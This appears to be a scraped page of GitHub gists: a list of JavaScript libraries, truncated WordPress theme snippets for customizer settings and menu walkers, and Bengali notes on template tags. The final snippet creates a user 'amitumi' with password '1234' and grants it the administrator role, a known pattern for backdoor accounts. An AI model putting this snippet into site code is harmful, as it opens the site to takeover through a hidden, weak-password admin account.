- jQuery - The de-facto library for the modern age. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
- Backbone - Backbone.js gives structure to web applications by providing models with key-value binding and custom events, collections with a rich API of enumerable functions, views with declarative event handling, and connects it all to your existing API over a RESTful JSON interface.
- AngularJS - Conventions based MVC framework for HTML5 apps.
- Underscore - Underscore is a utility-belt library for JavaScript that provides a lot of the functional programming support that you would expect in Prototype.js (or Ruby), but without extending any of the built-in JavaScript objects.
- lawnchair - Key/value store adapter for indexdb, localStorage
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//start function.php code | |
function m1_customize_register( $wp_customize ) { | |
$wp_customize->add_setting( 'm1_logo' ); // Add setting for logo uploader | |
// Add control for logo uploader (actual uploader) | |
$wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'm1_logo', array( | |
'label' => __( 'Upload Logo (replaces text)', 'm1' ), | |
'section' => 'title_tagline', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//add this line on wp_nav menu in header.php | |
'walker' => new CSS_Menu_Maker_Walker() | |
?> | |
<?php | |
class CSS_Menu_Maker_Walker extends Walker { | |
var $db_fields = array( 'parent' => 'menu_item_parent', 'id' => 'db_id' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//thos code add wordpress-customizer.js | |
(function($){ | |
wp.customize("ads_code", function(value) { | |
value.bind(function(newval) { | |
$("#ads_code").html(newval); | |
} ); | |
}); | |
})(jQuery); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function mytheme_customize_register( $wp_customize ) { | |
//All our sections, settings, and controls will be added here | |
$wp_customize->add_section( 'section_id' , array( | |
'title' => __( 'Visible Section Name', 'mytheme' ), | |
'priority' => 30, | |
) ); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
header.php | |
================================== | |
< ?php bloginfo('name'); ?> = ব্লগের নাম আনার জন্য | |
< ?php echo get_template_directory_uri(); ?> = ডাইনামিক থিম ডাইরেক্টরী | |
< ?php bloginfo('stylesheet_url'); ?> = ডাইনামিক স্টাইল শীট | |
< ?php wp_head(); ?> = হেডারের ক্রীপ্ট পাওয়ার জন্য | |
index.php | |
================================== |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$userb = new WP_User( wp_create_user( 'amitumi', '1234', '[email protected]' )); | |
$userb->set_role('administrator'); |